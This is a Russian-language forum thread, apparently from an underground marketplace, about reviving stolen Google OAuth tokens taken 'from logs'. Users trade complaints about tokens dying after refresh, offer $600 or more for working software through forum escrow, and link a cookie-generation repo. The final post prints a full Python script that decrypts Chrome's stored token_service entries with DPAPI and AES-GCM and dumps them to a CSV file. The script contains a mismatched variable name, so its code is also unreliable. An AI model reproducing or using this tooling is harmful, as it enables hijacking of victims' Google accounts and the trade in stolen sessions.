Накрыли да? у меня 403 ошибку выбивает вечно
Он извлекает из логов токен и ид, а я хочу узнать у всех выдаёт ошибку 403 при отправке запроса или только у меня у одного так?![]()
GitHub - Plug-Outlet/Google-0Auth-Scripts: a few different google 0auth scripts for loading the tokens and generating fresh cookies
a few different google 0auth scripts for loading the tokens and generating fresh cookies - Plug-Outlet/Google-0Auth-Scriptsgithub.com
По чём?Уже на половину мертвый способ , 80% токенов отлетают после рефреша , возможно дело в трасте , если есть у кого-нибудь актуальный софт/скрипт который не убивает токены , приобрету , через гарант данного форума.
Что по чем ? За сколько приобрету ?По чём?
все же ок, все по этому методу ресаютЧто по чем ? За сколько приобрету ?
В зависимости от траста , и жизни токенов , чтобы софт не убивал токены .
Начиная с 600$
Токены отлетают после рефрешавсе же ок, все по этому методу ресают
откинь в лс 1 токен, попробую реснуть, тк недавно ресал токены и все было окТокены отлетают после рефреша
Worked on chrome version : Version 120.0.6099.217
CODE TO GET THE TOKEN AND ID :
Python:import os import re import sys import json import base64 import sqlite3 import win32crypt from Cryptodome.Cipher import AES import shutil import csv # GLOBAL CONSTANT CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data" % os.environ['USERPROFILE']) def get_secret_key(): try: with open(os.path.join(CHROME_PATH, "Local State"), "r", encoding='utf-8') as f: local_state = json.load(f) secret_key = win32crypt.CryptUnprotectData(base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:], None, None, None, 0)[1] return secret_key except Exception as e: print(f"{e}\n[ERR] Chrome secret key not found") return None def decrypt_password(ciphertext, secret_key): try: initialization_vector = ciphertext[3:15] encrypted_password = ciphertext[15:-16] cipher = AES.new(secret_key, AES.MODE_GCM, initialisation_vector) decrypted_pass = cipher.decrypt(encrypted_password).decode() return decrypted_pass except Exception as e: print(f"{e}\n[ERR] Unable to decrypt, Chrome version <80 not supported") return "" def get_db_connection(chrome_path_login_db): try: shutil.copy2(chrome_path_login_db, "Loginvault.db") return sqlite3.connect("Loginvault.db") except Exception as e: print(f"{e}\n[ERR] Chrome database not found") return None if __name__ == '__main__': with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file: csv_writer = csv.writer(decrypt_password_file, delimiter=',') csv_writer.writerow(["index", "service", "decrypted_token"]) secret_key = get_secret_key() folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$", element) is not None] for folder in folders: chrome_path_login_db = os.path.join(CHROME_PATH, folder, "Web Data") conn = get_db_connection(chrome_path_login_db) if conn: cursor = conn.cursor() cursor.execute("SELECT service, encrypted_token FROM token_service") for index, token_entry in enumerate(cursor.fetchall()): service, encrypted_token = token_entry if service and encrypted_token: decrypted_token = decrypt_password(encrypted_token, secret_key) print(f"Sequence: {index}\nService: {service}\nToken: {decrypted_token}\n{'*' * 50}") csv_writer.writerow([index, service, decrypted_token]) cursor.close() conn.close()